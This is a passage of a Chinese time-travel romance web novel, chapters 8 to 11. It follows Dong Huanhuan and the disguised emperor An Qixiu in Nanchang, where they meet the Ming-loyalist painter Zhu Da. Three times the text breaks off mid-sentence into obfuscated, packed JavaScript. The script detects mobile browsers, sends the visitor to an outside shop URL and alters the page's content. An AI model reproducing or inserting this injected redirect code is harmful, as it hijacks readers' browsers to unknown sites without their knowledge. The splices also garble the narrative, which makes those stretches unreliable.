另一边,待李凌香和董浣浣走开后。 邢流云收起脸上的笑容,一脸严肃的看向安齐修:“你帮我完成了我的愿望,放心,我答应你的事情也自会做到,需要我什么时候动手?” 安齐修:“时间,地点,我安排好自会找人告知你。” 邢流云看着这个比他年轻十来岁的男人,这个在皇权顶端,誓要把权利牢牢抓在手心的男人,心府之深,令人胆寒。 他可以从凌香抛绣球开始,一直算到他们成亲。 把他自己心爱的女人也算计在内,抢绣球的人里到底有多少他的人马,能够控制好那颗球正好插在董浣浣的糖葫芦上,邢流云想象不出。 算计了这么多无非就是想让他出手帮他办成那件大事。 这是一件只许成功,不许失败的大事,如若他不乖乖照办或者失手,他的一家,他岳父一家都将不复存在。 被“安齐修”这样的人喜欢是幸运还是不幸呢? 邢流云看了一眼那个和他妻子站在一起的那个,毫无城府,天真烂漫,想要闯荡江湖的姑娘,如果他们的计划成功了,在不久的将来她就会踏进那诡谲云涌的后宫。 这个误打误撞帮他实现心中所愿的姑娘,她有能力面对皇宫那个时时刻刻都是暗箭的是非之地吗,而“安齐修”又能护她多久呢? 送君千里终须一别,很快就到了分别的时候了。董浣浣坐在马车里看着冲他们挥手的那两人越来越远,然后看不见。 直到出了岳州城好久,坐在马车上的董浣浣才想起来开口问了安齐修那个问题:“你怎么知道他们两人之间有”,董浣浣想用私情这个词,但是想想又改口:“真情的?” 在那么短的时间里,他居然可以在李家那么多人里找出邢流云,并且知道邢流云喜欢他家小姐,真是神了。 安齐修神色毫无波澜的说:“要想人不知,除非己莫为。” 董浣浣点头表示认同,有时候一个眼神一个动作就会出卖一个人的真心。 想想她也真是个福星,这一对苦命鸳鸯原本已经渐行渐远的缘分又被她牵在了一起。 董浣浣正在自我满足呢,旁边偏偏出现一道极为不和谐的声音:“麻烦你下次能不能不要那么贪吃,又那么爱凑热闹,我哥这几天因为你都没能好好休息。” 董浣浣回呛他:“那串糖葫芦有本事你别吃呀,抛绣球你别跟着我去围观呀”,说到糖葫芦董浣浣有些遗憾,临行前她特意去老伯店里想要打包一些吃,没想到恰好碰上老伯有事外出不营业的日子。 董浣浣轻叹:“好想念老伯的糖葫芦啊。” 闻言,安齐修轻咳一下,转移话题道:“下一站我们去南昌。” 董浣浣抬头看他笑着答道:“我知道呀。” 8. 八大山人 南昌,初唐四杰王勃的《滕王阁序》里有云:是个“物华天宝,人杰地灵”之地。 作为一个二十一世纪的爱国公民,马车刚到南昌地界,董浣浣蓦然升起了对于这片土地的敬畏之心。 穿越前董浣浣还从未踏足过这片土地,没想到穿越后却能有缘到此一游。 董浣浣撩起窗帘望向熙熙攘攘的街道和来来往往的人群,心中感叹,这座繁花又古老的城市,现在还不知道几百年后它将经历些什么。 董浣浣特别想和安齐修他们讲一下几百年后那些他们所不了解的历史,给他们讲讲那伟大的“南昌起义”,和那伟大的领袖们。 可是她不能,董浣浣是听说过“蝴蝶效应的人”,她不能因为她的一时过个嘴瘾,而改变后世者的命运。再说了以安齐修的学识和他讲了,他肯定会追问,到时她穿越的事肯定会露馅。 哎,看着车上的这几个人,董浣浣心里生出了一丝“众人皆醉我独醒”的寂寥感,忍不住吟诗一首:“无可奈何花落去,似曾相识燕归来!” 安齐平在旁边拆台:“不就是会两首诗吗,别有事没事就在那里炫耀。上树摘个野果还在和人炫耀知识渊博,结果差点把自己毒死”,说完想了一下又纠正道:“不对,是把自己摔死。” 董浣浣汗,原来那天他们那么早就在那里看她在树上的激情演讲了。 虽然感觉很丢人,但是在安齐平那里她可是绝对不能露怯的:“你知道谁是晏殊吗,你就说我炫耀,姐姐我这是教你做学问。” 安齐平轻飘飘的给董浣浣道来:“北宋人,官至尚书,在文坛上也有一定的造诣。” 董浣浣内心惊叹古代的小孩真是不得了,嘴上却不饶人:“这么厉害哪,那给姐姐背一句他的诗呗。” 安齐平哼的一声不再搭她的茬。 听到他们的对话,本来闭上眼睛小憩的安齐修悠悠转醒:“我最欣赏的是他的那首,一曲清歌满樽酒,人生何处不相逢。” 额,这个弟弟她不敢认哪,董浣浣安静了。 几人找了城中最大的客栈住下,收拾好后,下楼吃饭。 他们订了客栈东南角的一间雅间,室内布置的清新雅致,关上门隔音效果也很好。 几人按照规矩坐下。 很快小二就把他们点的饭菜上全了。 粉蒸肉、白糖糕、瓦罐汤、狮子头、肉汤饼、炒粉,等等,等等,三十多道南昌地方菜,小二一一作了介绍之后推门出去。 看着一桌子满满当当的菜,董浣浣真心想给安齐修点个赞,他真是太,太,太,太,懂她了。 看了她那“垂涎欲滴”的模样,安齐平又忍不住挑她刺:“就知道吃。” 董浣浣正想反驳。 平时吃饭时特别安静,任由他们胡闹的安齐修此时放下碗筷转头慢慢的看向安齐平神情严肃的说:“这是最后一次,以后不许对她不敬。” 顿时整个雅间好像被冰冻住了一样,气氛瞬间降至冰点。 闻声,安齐平站起身向安齐修作揖,郑重的答道:“知道了,九哥。” 而本来坐在末位的单良和刘全,也都“扑通”一声跪倒在地上,旁边的紫鸢小脸吓得发白,站了起来,看着跪下来的两人,犹豫着。毕竟不是她家主子,她跪也不是,不跪也不是。 董浣浣看到此景,吓得夹起来的狮子头“吧唧”一下掉在了碟子上,然后顺着碟子又滚到了地上。 整个房间里静悄悄的,除了董浣浣和安齐修,其他人或站或跪,大气都不敢喘一下。 董浣浣内心也是慌得一批,她还是第一次见到安齐修这种不怒而威的样子,一时间不知道该如何缓解气氛。 听到了安齐平的话,安齐修淡然的点头:“嗯,都坐下来吃饭。”,抬手夹了一个狮子头放在了董浣浣的小碗里。 董浣浣内心长长的舒了口气。 酒足饭饱之后,众人各回各房。 到了房间之后紫鸢才算把提着的心放了下来拍着胸脯和董浣浣提议:“太吓人了,刚才那气氛我吓得小命都快没了,这个安公子绝对没有他说的那么简单,小姐我们要不不和他们一起了回家了吧?” 董浣浣也是心有余悸,但仔细想想人家安齐修只是为她出头教训自家弟弟而已,这也是人家家里立规矩,再说了他也没做任何出格的事情,她们之所以被吓到,主要是单良和刘全那两个家伙太小题大做了:“人家为我出头,又没做什么坏事,咱们这时候提出要和人家分道扬镳未免也太不识好歹了。” 董浣浣拉过紫鸢的手安抚道:“咱不能因为一点点小事就如惊弓之鸟般,这让你家小姐我以后还怎样在江湖上立足,怎么成为大清第一女商人。” 紫鸢点点头:“小姐的愿望就是紫鸢的愿望,我这辈子都会支持小姐,站在小姐的这一边的。小姐口渴了吧,我给小姐准备茶水去了。” 董浣浣看着紫鸢出去的身影,满意的点了点头,洗脑工作做得不错。 与此同时,安齐修房里。 单良给安齐修端来一杯新沏的碧螺春放到桌上,说:“主子,请慢用。”,然后覆手退到了一旁。 安齐修打开杯盖,品了一口之后看向单良:“等浣儿午休起来时候,你们带着浣儿去那条街逛一下,和他碰上面。切记一定要保护好浣儿的安全。” 单良:“奴才明白。” 接着,稍微斟酌了一下又请示道:“十一爷,也去吗?” 毕竟从来没有见过主子像今天这样训诫过十一爷,主子和十一爷从小一起长大,一直是友爱非常,虽然他贵为天子,但从来没有在十一爷面前摆过天子的架子,这是第一次。 之前的计划就是让十一爷先出面接头,今天突然闹了这么一出,万一浣浣小姐非要带着十一爷前往,他也好有对策。 安齐修盯了他一下,看的单良毛孔直立。 随后只听到安齐修脱口道:“当然。” 安齐修当然知道单良心里在想些什么,不过有些事情没必要和他解释。 虽然十一弟年幼,与他无威胁。 但是他的人,目光不能长久的不在他身上,精力也不应该用来想着和另外的男人斗嘴。 午休之后,董浣浣和紫鸢去安齐修的房里找他,却被单良告知他家少爷在董浣浣午睡的时候出去会友了,特地把他留下陪同董浣浣他们出去逛街。 董浣浣想了一下,也好,她可以趁此机会安慰一下因为她受到自家哥哥训诫的安齐平。 遂带着单良和紫鸢去敲安齐平的门。 单良敲了一声还没来得及敲第二声,刘全就把门打开了。 看到董浣浣来了,安齐平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815833|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小声的嘟囔了一句:终于醒了。 可是走到门前马上换了一副笑脸:“走吧,浣浣姐。” 安齐平这么乖也是罕见,董浣浣只觉得浑身疙瘩飕飕的,她还是比较喜欢那个嘴欠的安齐平。 董浣浣张嘴和他打商量:“那个,你哥不在场的时候,我们还是像以前那样相处吧,你这样我太别扭了。” 没想到换来的是安齐平一脸严肃的拒绝,他说:尊卑长幼有序,他不能僭越。 董浣浣被噎住了,默默的惋惜,以后再也没办法和安齐平互怼了,旅途会无聊了很多。 董浣浣带着一丝寂寥的心情,带着大家一起出门了。 经过当地人的指路,他们来到了南昌城里最繁华的一条街。 买了一堆吃的玩的后,董浣浣低落的心情好多了。 玩累了,安齐平提议找个地方歇一歇,董浣浣同意了。 董浣浣觉得自从那顿饭之后她的身份地位在安齐平那里得到质的飞跃,他再也不怼她了,遇事都会争取她的意见,这种感觉简直太爽了。 他们走到一个胡同口的一家茶馆坐下休息片刻,几人喝着茶吃着点心,董浣浣余光看到有个人晃晃悠悠的从茶馆门口走过。 小半个时辰之后,几人也都歇够了,起身离开茶馆。 一行人走出胡同口,看到在胡同口的左侧比来的时候多出了一个醉醺醺的人,在提笔作画。 在二十一世纪在繁华的步行街上,是经常可以看到给人家作画的人,各个一派文艺气息。在各大影视剧里也能经常看到古代落魄的书生在街头摆摊卖些对联字画什么的,但也都是纤尘不染,郁郁不得志的书生模样,这还是她第一次看到如此蓬头垢面醉醺醺的人在作画。 董浣浣走上前去,好奇的看了一眼他笔下的画。 是一副山水画,飞鸟走石的,栩栩如生。 那人抬起头目光从他们每一个人身上扫过,最后停在董浣浣身上:“想要一张画吗。” 还没等董浣浣开口,他就接着说:“街头那家老张头酒馆给我打八两女儿红去,记得让老张头再给兑二两的水。” 董浣浣心想,这就是传说中的强行买卖了,在二十一世纪的有些旅游景点偶尔会这样,拉着你照相,等你照完相之后才告诉你照相是要钱的。 董浣浣感叹,原来古代也有啊。 不过以他的画功,这八两女儿红还真的不贵,万一他以后流传青史了,能够拥有他一幅画不吃亏。董浣浣盘算完,就要抬脚给他去打酒。 安齐平制止她:“让刘全去买就好。” 董浣浣拉着紫鸢的胳膊向安齐平摆手道:“没关系,没关系,我和紫鸢去就行了,你们在这里等我们就好。” 然后看向那人:“麻烦先生等我回来。” 安齐平看她的主意已定也不好强求:“你们两个姑娘家去买酒不安全,我陪你去吧。” 刘全见状说要保护他家少爷的安全也要去,单良说奉了他家主子的命要照顾浣浣小姐的安全也要去。 董浣浣就不明白了,这几步路的事情,他们一个个的要不要这么兴师动众的,好像随时有人来刺杀似的。 无奈拗不过他们,最后的结果就是,一个没落下全都去,一群人浩浩荡荡的去街头老张家酒馆买八两女儿红,兑二两水去了。 9. 前朝后人 老张头酒馆有近百年的历史了,店面不大,但却是十里八村有名的酒馆。 董浣浣还没走到街口,远远的就闻到了酒香。 几人到了酒馆,被小二招呼着落座。 几人想着那人在那里作画一时半会也不会走,就点了一些花生,瓜子等下酒菜,和小二闲聊了一阵,对小店也算是有了初步的了解。 老张头酒馆的现任掌柜年龄并不大,今年也就二十八岁。现在酒馆包括掌柜的以及他家娘子和三个伙计,共计五个人,一起经营,店里最有名的酒就是女儿红。 和小二一番闲谈过后,董浣浣站起身。 除了安齐修在慢条斯理的嗑瓜子之外,其他几人以为她要走,也纷纷起身。董浣浣招呼他们坐下,说她找老板娘给那人打酒去。 单良,紫鸢忙起身纷纷抢着说要代劳,董浣浣摆手说不用。 安齐平坐在那里说了声:“她想去聊天,你们代劳不了,坐下,让她去吧。” 真是深懂我心啊,董浣浣想,不怼她的安齐平其实也挺好的。她又不是抖M,之前她的脑子肯定是被别人控制了,才会觉得和她斗嘴的安齐修好,甚至还想要去安齐修那里给他说情。 走到到柜台前,按照那人的要求告诉老板娘,给他打八两女儿红然后兑二两的水。 老板娘为人很热情,听了董浣浣的要求后,笑着说:“是不是街上作画的那个八大让你来给他打酒的?” 董浣浣点头。 老板娘笑着又说:“我猜,姑娘你们是外地来的吧?” 董浣浣心想难道是我的口音暴露了,电视剧里一般都是这么演的,不过她还是按照老板娘的台本接下去了:“是啊,老板娘您怎么知道的,难道是我的口音不像本地人吗?” 老板娘笑着否认:“我也是外地嫁过来的,听不出来什么口音的”,然后又解释道:“这十里八村谁还不知道,八大的字画都好,但是他特别喜欢送人,几乎可以说的上十里八村人手一份了。因此这十里八村的人也都很喜欢他,谁家办喜事,都会向他求上一两副图个喜庆。但他这个人性格古怪,不喜欢钱财,说是充满铜臭气,平生最爱喝我们老张酒馆的酒,对于向他求画的人都是以酒换画。他对酒的要求也特殊总是八两兑二两的水,所以我知道你是在给八大打酒。再说啦,这附近十里八村哪家办喜事我一个卖酒的肯定会知道,这几天没人办喜事,你们又向八大求画,所以我才会问你们是不是外地来的”。 董浣浣一听提起了兴趣,向老板娘打听:“那这个八大,他的真名叫什么?” 这个名字一听就知道是个假名,又画得一幅好丹青,绝对是一位隐士高人。 老板娘手里利落的给她打酒,脸上笑盈盈的:“这个我还真不知道,大家都叫他八大。” 说完喊她家在后院忙着酿酒的相公,问他知不知道八大的真名叫什么。那中年男子听到老婆召唤以为出啥大事了,赶忙赶来,在听清楚问题之后也只是摇摇头,然后又回后院酿酒去了。 老板娘把酒装好后递给董浣浣,笑着戏谑道:“这回八大又可以解馋喽。” 董浣浣刚要伸手去接,单良见状,赶忙过来,把酒接了过去。 又和老板娘一番客套之后,董浣浣他们离开酒馆。 几人回到八大的摊位那里,单良把按照他要求酒递给他。 八大接过酒之后抬头看向董浣浣,手指指向旁边的他放画轴的那个瓷质桶子:“这里的字画,姑娘可以随便选一副。” 董浣浣想到了刚才老张家酒馆的老板娘说的话,这里十里八村人人都有一副八大的画,他这样随便的就把她打发了,总感觉有些不对,好歹她也是唯一一个穿越过来的现代人,怎么也要与众不同一些吧,于是董浣浣灵机一动提出了一个请求:“先生可不可帮我画一张画像。” 八大冷哼一声:“我这人从来不给人画像,旁边那一桶字画你都拿走也行。想要我的画,就得按照我的规矩来。” 紫鸢不乐意了。 在董浣浣身后替她家小姐抱不平:“什么人嘛,让人又出钱又出力的给他跑腿买酒,结果现在连给画一张画像都不肯,就用一堆破纸就把人打发了,真当自己是书画大家了?” 单良和刘全纷纷点头附和表示赞同。 站在董浣浣旁边的安齐平也轻笑了一声。 八大睁大了眼睛瞪着紫鸢:“你说谁的画是破纸?” 传闻有才学的人脾气都不太好,董浣浣忙摆手,想要替紫鸢解释。 没想到她还没张口,旁边的安齐平就已经在火上浇油了:“她当然是说你。” 董浣浣叹气,安齐平这是选择不怼她,改怼其他人了,刚才在酒馆里也是,把一行人挨个说了一遍,除了她。 董浣浣还在等着八大大发雷霆呢,没想到他往后一仰被气得直接晕了过去。 气死人了,这事可就严重了。 董浣浣被吓着了,手忙脚乱的赶紧招呼单良和刘全把人摆平。 在这个男女授受不亲的时代,她不好直接给那人做心肺复苏。 还好刘全和单良今天跟来了,不然她和紫鸢都是女的,安齐修还是个孩子力气也不够,岂不是要眼睁睁的看着这人被气死了。 董浣浣指挥着单良和刘全轮流给八大做了心肺复苏。 不需时,八大开始悠悠转醒,但整个人还是蔫蔫的。 刘全搀他起来,扶到单良的背上,几人一路小跑把他送到了附近的医馆。安齐平优哉游哉的跟在后面,好久之后才到达医馆。 大夫诊断说了一大串中医学的专业术语,董浣浣总结出了两点,熬夜,饮酒,造成的气血不足,肝脏损毁。 看完大夫,董浣浣自告奋勇的和紫鸢按照大夫给的药方,去药铺给他抓药。 安齐平这次没有选择陪同她们去买药,而是选择让刘全陪同他们去买药,他则和单良把八大送回家。 到了八大家里,老母亲看到自己儿子被背回来,一时间哭天抹泪的,一阵伤心过去,才想起来招呼客人。 待她絮絮叨叨一番招呼离开之后,他们总算是能有时间正式的来谈事情了。 八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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安齐平差使刘全去跑腿送药,董浣浣本来想去的,去被安齐平和单良一唱一和的拦住了。 等他们从八大家回到客栈的时候都已经是晚上了。 安齐修已经会友回来了,问了一下董浣浣他们今天出游的情况,董浣浣一一作答,安齐修听后很满意,轻抚了一下她的头,通知大家就开饭了。 几天后董浣浣出门前,被客栈小二拦住,递给了她一副字画说是刚刚有人让他转交给董浣浣的。 这似曾相识的场景哟。 董浣浣一颗心咯噔一下,都提到嗓子眼里了,难道她家阿玛反悔了,又来抓她了? 董浣浣回到房里小心翼翼的打开那副画,是一副她的画像。 旁边配有文字:“墨点无多泪点多,山河仍旧旧山河,恒流乱世杈椰树,留得文林细揣摩。”,落款是八一山人。 这熟悉的配方。 这首诗让董浣浣立刻联想到了那一位有名的词人,南唐后主李煜。 这简直是掉脑袋预告。 妈呀,送她一副配有此等诗句的画像,这是强行要把她拉上“贼船”啊,就在这一刹那董浣浣感同身受了一下韦爵爷被迫被授予完成“反清复明”大任时候的心情了。 事不宜迟,董浣浣赶忙把画收起来,唤来紫鸢匆匆赶往八大家。 10. 反清复明 站在八大家门口的董浣浣后知后觉的意识到,其实她只需要撕掉那张画,无论八大做什么也都和她没有关系了。 不过明明知道那段历史,却视而不见,让一个才华横溢的画家白白去送死,不是她董浣浣的作风。 既然来都已经来了,她还是在不改变历史的前提下做一回好人,劝一下八大回头是岸吧,毕竟老话说的好,救人一命胜造七级浮屠。 让紫鸢上前敲门,给她们开门的是八大的母亲,在听完她们的来意后,亲切的招呼她们来到正厅。 正厅内。 八大已经摆好酒菜,在坐着等她们了,就好像知道她看到那副画一定会来一样。 看着董浣浣的到来八大赶忙起身邀请她入席。 董浣浣打量了一下眼前的这个人,此时的八大和前几天看到的八大,简直不能同日而语。 头发从脑后梳成了一条长长的辫子,但是不像清朝的其他人一样剃了上半部分,黑白相间的发辫松松散散的在背后垂着,直到腰线位置。穿着一身干净整洁的灰黑色长袍,刮掉了胡子。整个人显得神采奕奕的,仿佛年轻了十岁。 高中课本里讲过,清朝入关不久,为了消弱汉族的反抗意识,巩固清朝统治者的至高地位,多尔衮提出了一条:留头不留发,留发不留头的高压政策,此时看到八大此等造型董浣浣更加确定了她的心中所想。 董浣浣和紫鸢坐定后,八大给董浣浣和紫鸢斟酒。 然后把杯子举向董浣浣:“此次宴席,主要是感谢小姐那天的救命之恩。” 董浣浣赶忙接过来:“先生不用客气。” 紫鸢见状,从董浣浣手中把酒杯抽走:“我家小姐身体不好,不宜饮酒,这杯酒我来替她代劳。”,然后一饮而尽。 八大看到紫鸢此举没说话,又从新倒了杯酒从新递给董浣浣:“就一杯而已,恩人不会不给面子吧?” 董浣浣无奈硬着头皮接过酒杯,和八大碰了杯之后,仰头一饮而尽,这还是她第一次喝酒,那辛辣之感从舌苔直冲脑门。 之后八大果然信守承诺,不在劝董浣浣喝酒,而是自己一杯接着一杯的喝起来,董浣浣和紫鸢连连劝阻,他都不为所动,只是笑笑说他好久没有今天这么开心了,当然要放肆的喝酒。 很快他就有了几分醉意,开始讲述他的故事。 他是朱元璋第十七子朱权的九世孙,是明朝的皇族后裔,名叫朱耷,在宗谱上的名字叫朱统??,出生于明天启四年。 他十九岁的时候,正值大好年华想要在朝廷大施拳脚,一展宏图抱负之时,却不曾想迎来的却是明朝灭亡。 从清朝入关的那一刻起,朱这个姓氏开始被隐藏,他们颠沛流离,他们隐姓埋名,开始体会皇族后人的悲哀。 不久父亲过世,他的世界再一次崩塌。接连的打击导致他越来越压抑。忧郁,悲愤,装聋作哑成了他生活的常态。他开始疯狂的用作画来麻痹自己的感官。 在这个留头不留发,留发不留头的时期,身为明朝后人,想要保留自己最后的一丝气节,他就只能整天邋里邋遢,像个疯子一样活着,毕竟朝廷不能和疯子一般见识。 董浣浣越听越可怜他,在这个封建的时代,可以一朝成为人上人,也可能一朝从云端跌落被踩入谷底。 “姑娘你是汉人吗?”,朱耷睁着他惺忪的双眼看着董浣浣问。 董浣浣不知道她该如何回答这个问题,她有个满人的壳,汉人的灵魂,出生在满汉一家亲的现代,现在却生活在满汉针锋相对的时代。 朱耷看她不答,也不强求,接着说:“姑娘有听过一首诗吗?” 董浣浣抬头:“哪一首?” 朱耷晃动着酒杯,看着酒杯中的酒泛起一圈一圈小小的涟漪,说道:“杜牧的那首《泊秦淮》,烟笼寒水月笼沙,夜泊秦淮近酒家。商女不知亡国恨,隔江犹唱后庭花。” 董浣浣知道他是什么意思,可是身为一个现代人董浣浣不知道该如何安慰他,也不知道该怎样告诉他,他的复兴明朝之路到头来都只会是一场梦。 董浣浣尝试着劝他:“我生活的那个地方,满汉一家亲,其实汉人也好,满人也好,说到底我们都是炎黄子孙,为什么非得要执着于满汉呢?” 朱耷苦笑,把杯子里的酒仰头一饮而尽:“好一个世外净土,好一个炎黄子孙,可是终究不是我朱家的天下。” “昔日,太/祖/皇帝以‘驱逐胡虏,恢复中华’为号,举兵北伐,推翻元朝统治,创立我大明天下,他老人家大概是无论如何也不会想到我朱氏一脉也会沦落至此吧。” 封建王朝向来是一姓之国,这个道理董浣浣懂,只是没想到朱耷会如此执着。董浣浣想,在他的世界里,即使是世外桃源,他大概也会忍不住刻上“朱”这个印记吧。 朱耷重新往杯子里倒满酒:“那个人好像很在意你。” 董浣浣疑惑:“你说谁”,后来想了一下能被朱耷盯上并放在眼里的她身边的人好像只有那么一个:“安齐修吗?” 朱耷重复了一遍:“安齐修,”然后笑着评价:“修身齐家治国平天下,可真是个好名字”,端起手边的酒再一次一饮而尽。 “砰”的一声,放下酒杯。 朱耷:“既然那个人很在意你,如果我把你绑架了,是不是可以以此要挟他一番。” 他夹起一粒花生米放入口中,接着说“江山还是美人,让他选一下,你猜他会选择什么”,语气极尽调侃。 紫鸢听到此话,护主心切,赶忙起身站到董浣浣身前,挡住朱耷看向董浣浣的目光,一副保护状。 董浣浣此时心里有一万头羊驼奔腾而过,默默感叹:无论何时好人难做啊,她是来帮朱耷逃离苦海的,没想到朱耷却想要绑架她。 董浣浣拉着紫鸢的手安抚她坐下,转头看向朱耷:“先生说这话,未免有些太/恩/将仇报了吧?” 朱耷笑:“成大事者不拘小节,为了我们汉人的天下,牺牲一些人也是在所难免的。为了黎民百姓的福祉,我什么事情都可以做的出来。” 董浣浣怒了:“先不说我和安齐修的关系还到不了江山美人的程度。朱耷,你摸着你的良心问问它,你是想要给汉人一个天下,还是想找回姓朱的朝廷。我知道安齐修家里有钱,你们想要复辟势必是需要一些钱财,可是绑架一个女子去逼人就范,绝非君子所为。” 董浣浣说完拿起面前的酒壶,给自己到了一杯酒,然后一饮而尽。 站起来,接着说:“你说是为了黎民百姓的福祉,真是可笑。大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815835|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明朝后期宦官当政,舞弊成风,多少百姓流离失所。国是广大黎民百姓的国,不是一家人的国,也不应该由一姓之人说了算。你如果想要为广大黎民百姓谋福利,不要总想着恢复朱家的朝廷,而是从小事做起帮助身边需要帮助的人,先做好你自己。然后去参加科举,努力献计献策,可以帮助到更多的人。” 安齐修嗤笑,拿起酒壶,低头认真的给自己倒酒:“真是牙尖嘴利的女子,安齐修真是找了一个宝藏”,倒满后他抬头去看向董浣浣:“那么你认为,当今皇上你认为他是个好皇帝吗?” 在这个封建的时代,公然议论当今圣上,一个不慎就会惹来杀身之祸。 董浣浣沉默,认真的思考了一下。 顺治皇帝是个好皇帝吗? 董浣浣努力回忆了一下她高中课本上,关于这位早逝的皇帝的生平介绍。 抛开他的那些风花雪月不谈,毕竟爱情和是不是好皇帝好领导无关。也抛开清政府前期一系列的“强势”归顺手腕不谈,毕竟当时他还年幼,只是一个傀儡。 亲政后的顺治帝在政治上他励精图治,重用汉官,停止圈地,一定程度上缓解了民族矛盾,设立兴屯道厅,推行屯田,一定程度上恢复了农业经济,为妨出现明朝后期的情况,他努力整治吏治。 总体来说顺治应该算是个好皇帝吧,至少她的高中课本上对于这个短命的皇帝的历史评价还是比较正面的。 只是现在她还处在顺治帝没有亲政的时候,她还不能和朱耷说那么多。 董浣浣:“当今圣上现在还没有亲政,现在评价他是不是好皇帝还为时尚早,不过我相信,他以后会是个好皇帝。” 安齐修和单良就是这个时候推开门进来的。 安齐修看了朱耷一眼,什么话也没说,伸手把坐在椅子上的董浣浣抱起身来,然后眼神示意旁边的单良留下看住朱耷。 朱耷看见眼前此景,仿若和他无关的,继续斟酒吃菜。 董浣浣一时间还没反应过来,就被当着这么多人的面抱了起来,吓得赶忙抱紧安齐修的脖子,又羞又臊的在他耳边轻声喊:“太丢人了,赶紧放我下来,赶紧放我下来。” 安齐修低头看了一下她的眼睛说:“乖点,抱紧我的脖子,摔下去会很疼。” 额,董浣浣承认这一刻她被安齐修撩到了,听话的又紧了紧抱在他脖子上的手。 紫鸢看到此时此景,被吓了一跳,等她反应过来安齐修已经抱着她家小姐走了,赶忙抬腿跟上前去。 马车上。 董浣浣脸红的低着头,心脏还在“扑通扑通”的狂跳个不停。紫鸢坐在她旁边,大气都不敢出一声。 车子行驶了一段距离以后。 安齐修低沉的声音传来:“你以后不准喝酒,尤其是不能在陌生男子面前喝酒,听到了吗?” 喝了两杯酒又坐了一会马车,董浣浣的酒劲开始慢慢上来了,此时她的脑袋有些昏昏荡荡的,听到这话还是很识时务的举起双手保证以后绝不喝酒了,然后一头栽进安齐修的怀里。 紫鸢被她家小姐的操作吓傻了,手忙脚乱的想要把她家小姐扶正,却被安齐修一个眼神吓退。 紫鸢心中暗暗祷告,希望小姐明天起来可以承受住她今天的所作所为。 11. 醉酒那些事儿 马车一路平稳的行驶在街道上。 车上。 董浣浣在安齐修的怀里睡的一片安稳,安齐修唇角微扬,脸上挂着浅浅的笑意在看着她睡颜,坐在一旁的紫鸢小心翼翼的减少着自己在这个车上的存在感。 突然,驾车的人一不小心让车轮踩在了一小块碎石上,马车颠簸了一下。 睡梦中的董浣浣因为颠簸的这一下,脸撞在了安齐修的胸口上,硬硬的肌肉让她的脸感觉有些不舒服,在安齐修怀里皱着眉头不满的发出了嘤嘤声。 安齐修皱眉,两手小心捂住睡在他怀里的董浣浣的耳朵冲着外边驾车的人命令道:“卫苑,马车开稳一些。” 紫鸢默默的又往一边缩了缩降低存在感。 看着她家小姐两个手死死的抓着安齐修胸口的衣料,紫鸢心里扶额感叹:就是喝醉了,也不该这样。小姐,咱们能不能矜持一点啊。老爷知道了,肯定会打断我的腿的。 驾着车的卫苑连连点头赔罪:“知道了,主子。” 一会儿功夫,马车就把他们送到了客栈。 紫鸢看到了地方,赶忙起身想要叫醒董浣浣下车,却被安齐修制止了。 安齐修左手的中指置于嘴唇中间,给紫鸢比了个禁声的手势。之后把董浣浣紧抓着他胸口衣料的手从他胸口上拿下来,小心的放到他的脖子位置,让董浣浣的手环住他的脖子,然后小心翼翼的把董浣浣从马车上抱了下来。 紫鸢亦步亦趋的跟在后面。 期间卫苑站在马下伸手想要帮忙,被安齐修的一个眼神吓得退到了一边。 走到董浣浣的客房门口,紫鸢小跑两步把门打开。 安齐修把董浣浣抱到房间里,放在床上。 紫鸢想上前帮忙,又一次被安齐修制止了,只能站在旁边看着他忙碌。 安齐修掀开被子,给董浣浣盖好后,转头嘱咐紫鸢给她家小姐倒杯新烧开的温水来。 紫鸢闻言赶紧去问小二要水去。 不一会儿,紫鸢就提着一壶新烧开的热水回到房中。 紫鸢从壶中往杯子里到了些热水,小心翼翼的吹气,扇风,放凉。 安齐修坐在床边,看了一眼紫鸢的动作之后说:“把水拿过来,我来。” 紫鸢闻言没敢多话,把杯子递给安齐修。 安齐修对着杯子轻吹了一阵后,试了一下水温,已经不烫了之后,把水递给紫鸢。然后轻轻抬起董浣浣的头,把头放在他的怀里,从紫鸢的手里接过水杯给董浣浣喂了一些温水。 喝完水的董浣浣又不老实了,死死的抓住安齐修的衣襟,嘴里嘟嘟囔囔,断断续续的说个不停,边哭边把眼泪鼻涕往安齐修身上招呼。 安齐修低头想要听清她的话却听得不太真切,只模模糊糊的听到了一句:“孟古青,老大,老二,你们怎么样了,都怪我,都怪我,我对不起你们啊,我不想看大佛了,我想回家,我想回家。” 安齐修用手帮她擦干了脸上的泪,然后轻轻的拍着她的背小声安抚:“没关系,都过去了,都过去了,你以后有我。” 一个时辰后,董浣浣才算安稳的进入了梦乡。 安齐修把她轻轻的放在了床上,盖好被子。 转身示意紫鸢出去。 走出房门,安齐修嘱咐紫鸢一定要好好照顾她们家小姐,如果董浣浣起床问起他,就说他有事出门了。 直到安齐修的背影离开客栈大门,紫鸢才敢推开客房门,然后拍了拍胸脯长长的舒了口气。 嘴里小声嘟囔:小姐啊,小姐,你到底是招惹了个什么样的人啊。 